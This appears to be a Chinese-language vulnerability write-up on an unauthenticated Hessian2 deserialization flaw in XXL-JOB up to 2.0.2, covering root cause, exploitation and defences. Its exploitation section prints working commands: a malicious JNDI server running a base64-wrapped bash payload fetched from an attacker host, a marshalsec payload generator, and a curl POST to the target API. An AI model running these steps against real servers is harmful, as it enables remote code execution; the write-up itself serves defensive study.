老曲新唱之XXL-JOB未授权Hessian2反序列化调试分析
字数 1069 2025-08-29 08:32:01
XXL-JOB未授权Hessian2反序列化漏洞分析与利用
漏洞概述
XXL-JOB是一个分布式任务调度平台,在版本<=2.0.2中存在Hessian2反序列化漏洞。该漏洞源于两个关键问题:
- API接口存在未授权访问问题
- 使用了不安全的Hessian2反序列化实现
攻击者可以利用此漏洞在目标服务器上执行任意代码,危害极大。
漏洞分析
1. 未授权访问问题
漏洞的核心在于权限校验的缺失。在XXL-JOB的代码中,判断是否有权限限制时默认返回了false,这导致API可以未授权访问。
2. Hessian2反序列化链
反序列化漏洞的触发路径如下:
- 请求进入
invokeAdminService方法 - 继续跟进到
handle方法 - 当
target为空时会进入if判断,触发parseRequest parseRequest方法中,当传入数据不为空时会触发反序列化操作
关键点在于XXL-JOB使用了Hessian2进行反序列化,这是因为在XxlJobDynamicScheduler这个动态调度类中调用了initRpcProvider方法,明确指定了使用hessian2作为序列化协议。
漏洞利用
利用条件
- XXL-JOB版本<=2.0.2
- 目标系统开放了XXL-JOB的管理接口
- 目标系统使用的JDK版本不是最新或已配置了trustURLCodebase
利用步骤
1. 确认目标
未授权API地址:
http://目标IP:端口/xxl-job-admin/api
2. 准备JNDI注入服务
启动恶意JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 攻击者IP -C "bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}"
3. 生成Hessian2 payload
使用marshalsec工具生成payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://攻击者IP:1099/随机名称 > test.ser
注意:对于高版本JDK需要考虑trustURLCodebase限制,需要选择对应的payload。
4. 发送恶意请求
使用curl发送payload:
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://目标IP:端口/xxl-job-admin/api
防御措施
- 升级XXL-JOB:升级到最新版本,官方已修复此漏洞
- 权限控制:确保API接口有适当的权限校验
- 输入验证:对反序列化数据进行严格验证
- 使用白名单:限制可反序列化的类
- 网络隔离:将调度平台部署在内网,限制外部访问
参考链接
总结
XXL-JOB的Hessian2反序列化漏洞是一个典型的反序列化安全问题,结合未授权访问漏洞,攻击者可以远程执行任意代码。开发人员应重视反序列化操作的安全性,遵循最小权限原则,并及时更新组件版本。